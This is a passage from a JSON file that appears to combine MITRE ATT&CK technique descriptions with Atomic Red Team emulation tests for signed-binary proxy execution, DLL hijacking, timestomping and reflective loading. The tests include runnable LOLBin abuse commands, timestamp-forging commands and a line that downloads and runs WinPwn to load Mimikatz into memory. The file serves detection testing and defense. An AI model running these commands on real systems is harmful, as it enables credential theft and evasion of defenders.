}, - "mwcname": { - "description": "Default name of microsoft.workflow.compiler.exe", - "type": "path", - "default": "microsoft.workflow.compiler.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": ".Net must be installed for this test to work correctly.\n", - "prereq_command": "if (Test-Path #{mwcpath}\\#{mwcname} ) {exit 0} else {exit 1}\n", - "get_prereq_command": "write-host \".Net must be installed for this test to work correctly.\"\n" - } - ], - "executor": { - "command": "#{mwcpath}\\#{mwcname} \"#{xml_payload}\" output.txt\n", - "name": "powershell", - "elevation_required": false - } - }, - { - "name": "Renamed Microsoft.Workflow.Compiler.exe Payload Executions", - "auto_generated_guid": "4cc40fd7-87b8-4b16-b2d7-57534b86b911", - "description": "Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "xml_payload": { - "description": "XML to execution", - "type": "path", - "default": "PathToAtomicsFolder\\T1218\\src\\T1218.xml" - }, - "renamed_binary": { - "description": "renamed Microsoft.Workflow.Compiler", - "type": "path", - "default": "PathToAtomicsFolder\\T1218\\src\\svchost.exe" - }, - "mwcpath": { - "description": "Default location of Microsoft.Workflow.Compiler.exe", - "type": "path", - "default": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319" - }, - "mwcname": { - "description": "Default name of microsoft.workflow.compiler.exe", - "type": "path", - "default": "microsoft.workflow.compiler.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": ".Net must be installed for this test to work correctly.\n", - "prereq_command": "Copy-Item #{mwcpath}\\#{mwcname} \"#{renamed_binary}\" -Force\nif (Test-Path \"#{renamed_binary}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "write-host \"you need to rename workflow complier before you run this test\"\n" - } - ], - "executor": { - "command": "#{renamed_binary} #{xml_payload} output.txt\n", - "name": "powershell", - "elevation_required": false - } - }, - { - "name": "Invoke-ATHRemoteFXvGPUDisablementCommand base test", - "auto_generated_guid": "9ebe7901-7edf-45c0-b5c7-8366300919db", - "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).\n\nOne of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as \"PowerShell module load-order hijacking\" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted.\n\nInvoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the \"Disable\" argument to RemoteFXvGPUDisablement.exe.\n\nThe Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts.\n\nReference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "module_name": { - "description": "Specifies a temporary module name to use. If -ModuleName is not supplied, a 16-character random temporary module name is used. A PowerShell module can have any name. Because Get-VMRemoteFXPhysicalVideoAdapter abuses module load order, a module name must be specified.", - "type": "string", - "default": "foo" - }, - "module_path": { - "description": "Specifies an alternate, non-default PowerShell module path for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the first entry in %PSModulePath% will be used. Typically, this is %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules.", - "type": "string", - "default": "$PWD" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHRemoteFXvGPUDisablementCommand']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}", - "name": "powershell" - } - }, - { - "name": "DiskShadow Command Execution", - "auto_generated_guid": "0e1483ba-8f0c-425d-b8c6-42736e058eaa", - "description": "Emulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "txt_payload": { - "description": "txt to execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1218\\src\\T1218.txt" - }, - "dspath": { - "description": "Default location of DiskShadow.exe", - "type": "path", - "default": "C:\\Windows\\System32\\diskshadow.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "txt file must exist on disk at specified location (#{txt_payload})", - "prereq_command": "if (Test-Path #{txt_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{txt_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/T1218.txt\" -OutFile \"#{txt_payload}\"\n" - }, - { - "description": "DiskShadow.exe must exist on disk at specified location (#{dspath})", - "prereq_command": "if (Test-Path #{dspath}) {exit 0} else {exit 1}\n", - "get_prereq_command": "echo \"DiskShadow.exe not found on disk at expected location\"\n" - } - ], - "executor": { - "command": "#{dspath} -S #{txt_payload} \n", - "name": "powershell", - "elevation_required": false - } - }, - { - "name": "Load Arbitrary DLL via Wuauclt (Windows Update Client)", - "auto_generated_guid": "49fbd548-49e9-4bb7-94a6-3769613912b8", - "description": "This test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. \nSee https://dtm.uk/wuauclt/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "arbitrary_dll": { - "description": "Path of DLL to be loaded", - "type": "string", - "default": "PathToAtomicsFolder\\T1218\\bin\\calc.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "DLL to load must exist on disk as specified location (#{arbitrary_dll})\n", - "prereq_command": "if (test-path \"#{arbitrary_dll}\"){exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{arbitrary_dll}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/bin/calc.dll?raw=true\" -OutFile \"#{arbitrary_dll}\"\n" - } - ], - "executor": { - "command": "wuauclt.exe /UpdateDeploymentProvider #{arbitrary_dll} /RunHandlerComServer\n", - "cleanup_command": "taskkill /f /im calculator.exe > nul 2>&1", - "name": "command_prompt" - } - }, - { - "name": "Lolbin Gpscript logon option", - "auto_generated_guid": "5bcda9cd-8e85-48fa-861d-b5a85d91d48c", - "description": "Executes logon scripts configured in Group Policy.\nhttps://lolbas-project.github.io/lolbas/Binaries/Gpscript/\nhttps://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Gpscript /logon\n", - "name": "command_prompt" - } - }, - { - "name": "Lolbin Gpscript startup option", - "auto_generated_guid": "f8da74bb-21b8-4af9-8d84-f2c8e4a220e3", - "description": "Executes startup scripts configured in Group Policy\nhttps://lolbas-project.github.io/lolbas/Binaries/Gpscript/\nhttps://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Gpscript /startup\n", - "name": "command_prompt" - } - }, - { - "name": "Lolbas ie4uinit.exe use as proxy", - "auto_generated_guid": "13c0804e-615e-43ad-b223-2dfbacd0b0b3", - "description": "Executes commands from a specially prepared ie4uinit.inf file.\nPoc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/\nReference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "Path_inf": { - "description": "Path to the cab file", - "type": "path", - "default": "PathToAtomicsFolder\\T1218\\src\\ieuinit.inf" - }, - "Path_ie4uinit": { - "description": "Path to ie4uinit.exe", - "type": "path", - "default": "c:\\windows\\system32\\ie4uinit.exe" - } - }, - "executor": { - "command": "copy #{Path_ie4uinit} %TEMP%\\ie4uinit.exe\ncopy #{Path_inf} %TEMP%\\ieuinit.inf\n%TEMP%\\ie4uinit.exe -BaseSettings\n", - "cleanup_command": "del %TEMP%\\ie4uinit.exe >nul 2>&1\ndel %TEMP%\\ieuinit.inf >nul 2>&1\n", - "name": "command_prompt" - } - } - ] - }, - "T1038": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak", - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", - "type": "attack-pattern", - "created": "2017-05-31T21:30:40.604Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "url": "https://attack.mitre.org/techniques/T1038", - "external_id": "T1038", - "source_name": "mitre-attack" - }, - { - "url": "https://capec.mitre.org/data/definitions/471.html", - "source_name": "capec", - "external_id": "CAPEC-471" - }, - { - "source_name": "Microsoft DLL Search", - "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", - "url": "http://msdn.microsoft.com/en-US/library/ms682586" - }, - { - "source_name": "OWASP Binary Planting", - "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", - "url": "https://www.owasp.org/index.php/Binary_planting" - }, - { - "source_name": "Microsoft 2269637", - "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.", - "url": "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/" - }, - { - "source_name": "Microsoft DLL Redirection", - "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.", - "url": "http://msdn.microsoft.com/en-US/library/ms682600" - }, - { - "source_name": "Microsoft Manifests", - "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", - "url": "https://msdn.microsoft.com/en-US/library/aa375365" - }, - { - "source_name": "Mandiant Search Order", - "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.", - "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/" - } - ], - "modified": "2020-03-26T14:49:47.091Z", - "name": "DLL Search Order Hijacking", - "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "x_mitre_system_requirements": [ - "Ability to add a DLL, manifest file, or .local file, directory, or junction." - ], - "x_mitre_effective_permissions": [ - "User", - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1070.006": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Romain Dumont, ESET" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", - "type": "attack-pattern", - "created": "2020-01-31T12:42:44.103Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1070.006", - "url": "https://attack.mitre.org/techniques/T1070/006" - }, - { - "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html", - "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.", - "source_name": "WindowsIR Anti-Forensic Techniques" - } - ], - "modified": "2020-03-29T21:39:46.724Z", - "name": "Indicator Removal on Host: Timestomp", - "description": "Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "File: File Metadata" - ], - "x_mitre_defense_bypassed": [ - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "root", - "SYSTEM", - "User" - ], - "identifier": "T1070.006" - }, - "atomic_tests": [ - { - "name": "Windows - Modify file creation timestamp with PowerShell", - "auto_generated_guid": "b3b2c408-2ff0-4a33-b89b-1cb46a9e6a9c", - "description": "Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "target_date_time": { - "description": "Date/time to replace original timestamps with", - "type": "string", - "default": "01/01/1970 00:00:00" - }, - "file_path": { - "description": "Path of file to change creation timestamp", - "type": "path", - "default": "$env:TEMP\\T1551.006_timestomp.txt" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "A file must exist at the path (#{file_path}) to change the creation time on\n", - "prereq_command": "if (Test-Path #{file_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Path #{file_path} -Force | Out-Null\nSet-Content #{file_path} -Value \"T1551.006 Timestomp\" -Force | Out-Null\n" - } - ], - "executor": { - "command": "Get-ChildItem #{file_path} | % { $_.CreationTime = \"#{target_date_time}\" }\n", - "name": "powershell" - } - }, - { - "name": "Windows - Modify file last modified timestamp with PowerShell", - "auto_generated_guid": "f8f6634d-93e1-4238-8510-f8a90a20dcf2", - "description": "Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "target_date_time": { - "description": "Date/time to replace original timestamps with", - "type": "string", - "default": "01/01/1970 00:00:00" - }, - "file_path": { - "description": "Path of file to change modified timestamp", - "type": "path", - "default": "$env:TEMP\\T1551.006_timestomp.txt" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "A file must exist at the path (#{file_path}) to change the modified time on\n", - "prereq_command": "if (Test-Path #{file_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Path #{file_path} -Force | Out-Null\nSet-Content #{file_path} -Value \"T1551.006 Timestomp\" -Force | Out-Null\n" - } - ], - "executor": { - "command": "Get-ChildItem #{file_path} | % { $_.LastWriteTime = \"#{target_date_time}\" }\n", - "name": "powershell" - } - }, - { - "name": "Windows - Modify file last access timestamp with PowerShell", - "auto_generated_guid": "da627f63-b9bd-4431-b6f8-c5b44d061a62", - "description": "Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "target_date_time": { - "description": "Date/time to replace original timestamps with", - "type": "string", - "default": "01/01/1970 00:00:00" - }, - "file_path": { - "description": "Path of file to change last access timestamp", - "type": "path", - "default": "$env:TEMP\\T1551.006_timestomp.txt" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "A file must exist at the path (#{file_path}) to change the last access time on\n", - "prereq_command": "if (Test-Path #{file_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Path #{file_path} -Force | Out-Null\nSet-Content #{file_path} -Value \"T1551.006 Timestomp\" -Force | Out-Null\n" - } - ], - "executor": { - "command": "Get-ChildItem #{file_path} | % { $_.LastAccessTime = \"#{target_date_time}\" }\n", - "name": "powershell" - } - }, - { - "name": "Windows - Timestomp a File", - "auto_generated_guid": "d7512c33-3a75-4806-9893-69abc3ccdd43", - "description": "Timestomp kxwn.lock.\n\nSuccessful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. \n\n[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_path": { - "description": "File path for timestomp payload", - "type": "string", - "default": "$env:appdata\\Microsoft" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "timestomp.ps1 must be present in #{file_path}.\n", - "prereq_command": "if (Test-Path #{file_path}\\timestomp.ps1) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1\" -OutFile \"#{file_path}\\timestomp.ps1\"\n" - }, - { - "description": "kxwn.lock must be present in #{file_path}.\n", - "prereq_command": "if (Test-Path -path \"#{file_path}\\kxwn.lock\") {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Path #{file_path}\\kxwn.lock -ItemType File\n" - } - ], - "executor": { - "command": "import-module #{file_path}\\timestomp.ps1\ntimestomp -dest \"#{file_path}\\kxwn.lock\"\n", - "cleanup_command": "Remove-Item #{file_path}\\timestomp.ps1 -ErrorAction Ignore\nRemove-Item #{file_path}\\kxwn.lock -ErrorAction Ignore", - "name": "powershell" - } - } - ] - }, - "T1620": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Linux", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jo\u00e3o Paulo de A. Filho, @Hug1nN__", - "Shlomi Salem, SentinelOne", - "Lior Ribak, SentinelOne", - "Rex Guo, @Xiaofei_REX, Confluera", - "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", - "created": "2021-10-05T01:15:06.293Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1620", - "url": "https://attack.mitre.org/techniques/T1620" - }, - { - "source_name": "00sec Droppers", - "url": "https://0x00sec.org/t/super-stealthy-droppers/3715", - "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021." - }, - { - "source_name": "S1 Custom Shellcode Tool", - "url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/", - "description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021." - }, - { - "source_name": "Mandiant BYOL", - "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique", - "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021." - }, - { - "source_name": "S1 Old Rat New Tricks", - "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/", - "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021." - }, - { - "source_name": "MDSec Detecting DOTNET", - "url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/", - "description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021." - }, - { - "source_name": "Intezer ACBackdoor", - "url": "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/", - "description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021." - }, - { - "source_name": "Stuart ELF Memory", - "url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html", - "description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021." - }, - { - "source_name": "Introducing Donut", - "url": "https://thewover.github.io/Introducing-Donut/", - "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)", - "modified": "2022-04-21T16:21:09.679Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Reflective Code Loading", - "x_mitre_detection": "Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Module: Module Load", - "Script: Script Execution", - "Process: OS API Execution" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1620" - }, - "atomic_tests": [ - { - "name": "WinPwn - Reflectively load Mimik@tz into memory", - "auto_generated_guid": "56b9589c-9170-4682-8c3d-33b86ecb5119", - "description": "Reflectively load Mimik@tz into memory technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nmimiload -consoleoutput -noninteractive", - "name": "powershell" - } - } - ] - }, - "T1497.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jorge Orchilles, SCYTHE", - "Ruben Dodge, @shotgunner101", - "Jeff Felling, Red Canary", - "Deloitte Threat Library Team" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", - "type": "attack-pattern", - "created": "2020-03-06T21:11:11.225Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1497.003", - "url": "https://attack.mitre.org/techniques/T1497/003" - }, - { - "source_name": "Deloitte Environment Awareness", - "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc", - "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021." - }, - { - "source_name": "Revil Independence Day", - "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/", - "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021." - }, - { - "source_name": "Netskope Nitol", - "url": "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique", - "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021." - }, - { - "source_name": "Joe Sec Nymaim", - "url": "https://www.joesecurity.org/blog/3660886847485093803", - "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021." - }, - { - "source_name": "Joe Sec Trickbot", - "url": "https://www.joesecurity.org/blog/498839998833561473", - "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021." - }, - { - "source_name": "ISACA Malware Tricks", - "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes", - "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021." - } - ], - "modified": "2021-10-15T22:37:43.854Z", - "name": "Time Based Evasion", - "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an 